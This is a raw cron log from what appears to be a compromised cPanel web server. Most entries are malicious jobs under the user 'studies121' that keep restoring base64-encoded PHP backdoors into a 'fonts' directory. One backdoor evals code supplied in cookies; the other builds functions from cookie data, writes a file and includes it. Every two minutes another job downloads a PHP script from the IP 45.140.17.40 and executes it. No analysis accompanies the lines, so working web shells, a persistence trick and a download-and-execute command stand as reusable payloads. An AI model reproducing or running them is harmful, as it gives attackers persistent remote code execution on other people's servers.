Sep 11 11:22:01 ip-184-168-122-23 CROND[24787]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 11:23:01 ip-184-168-122-23 CROND[24879]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 11:23:01 ip-184-168-122-23 CROND[24881]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 11:23:01 ip-184-168-122-23 CROND[24883]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 11:23:01 ip-184-168-122-23 CROND[24882]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 11:24:01 ip-184-168-122-23 CROND[24975]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 11:24:01 ip-184-168-122-23 CROND[24976]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 11:24:01 ip-184-168-122-23 CROND[24974]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 11:24:01 ip-184-168-122-23 CROND[24973]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 11:24:01 ip-184-168-122-23 CROND[24977]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 11:25:01 ip-184-168-122-23 CROND[25156]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 11:25:01 ip-184-168-122-23 CROND[25158]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 11:25:01 ip-184-168-122-23 CROND[25159]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 11:25:01 ip-184-168-122-23 CROND[25162]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 11:25:01 ip-184-168-122-23 CROND[25161]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 11:25:01 ip-184-168-122-23 CROND[25163]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 11:26:01 ip-184-168-122-23 CROND[25272]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 11:26:01 ip-184-168-122-23 CROND[25274]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 11:26:01 ip-184-168-122-23 CROND[25275]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 11:26:01 ip-184-168-122-23 CROND[25277]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 11:26:01 ip-184-168-122-23 CROND[25276]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 11:27:01 ip-184-168-122-23 CROND[25376]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 11:27:01 ip-184-168-122-23 CROND[25379]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 11:27:01 ip-184-168-122-23 CROND[25377]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 11:27:01 ip-184-168-122-23 CROND[25378]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 11:28:01 ip-184-168-122-23 CROND[25490]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 11:28:01 ip-184-168-122-23 CROND[25492]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 11:28:01 ip-184-168-122-23 CROND[25493]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 11:28:01 ip-184-168-122-23 CROND[25496]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 11:28:01 ip-184-168-122-23 CROND[25494]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 11:29:01 ip-184-168-122-23 CROND[25596]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 11:29:01 ip-184-168-122-23 CROND[25598]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 11:29:01 ip-184-168-122-23 CROND[25599]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 11:29:01 ip-184-168-122-23 CROND[25600]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 11:30:01 ip-184-168-122-23 CROND[25776]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 11:30:01 ip-184-168-122-23 CROND[25778]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 11:30:01 ip-184-168-122-23 CROND[25780]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 11:30:01 ip-184-168-122-23 CROND[25785]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 11:30:01 ip-184-168-122-23 CROND[25784]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 11:30:01 ip-184-168-122-23 CROND[25783]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 11:30:01 ip-184-168-122-23 CROND[25786]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 11:30:01 ip-184-168-122-23 CROND[25781]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 11:31:01 ip-184-168-122-23 CROND[25910]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 11:31:01 ip-184-168-122-23 CROND[25914]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 11 11:31:01 ip-184-168-122-23 CROND[25912]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 11:31:01 ip-184-168-122-23 CROND[25915]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 11:31:01 ip-184-168-122-23 CROND[25916]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 11:32:01 ip-184-168-122-23 CROND[26007]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 11:32:01 ip-184-168-122-23 CROND[26008]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 11:32:01 ip-184-168-122-23 CROND[26011]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 11:32:01 ip-184-168-122-23 CROND[26013]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 11:32:01 ip-184-168-122-23 CROND[26012]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 11:33:01 ip-184-168-122-23 CROND[26114]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 11:33:01 ip-184-168-122-23 CROND[26118]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 11:33:01 ip-184-168-122-23 CROND[26119]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 11:33:01 ip-184-168-122-23 CROND[26117]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 11:34:01 ip-184-168-122-23 CROND[26223]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 11:34:01 ip-184-168-122-23 CROND[26225]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 11:34:01 ip-184-168-122-23 CROND[26227]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 11:34:01 ip-184-168-122-23 CROND[26226]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 11:34:01 ip-184-168-122-23 CROND[26229]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
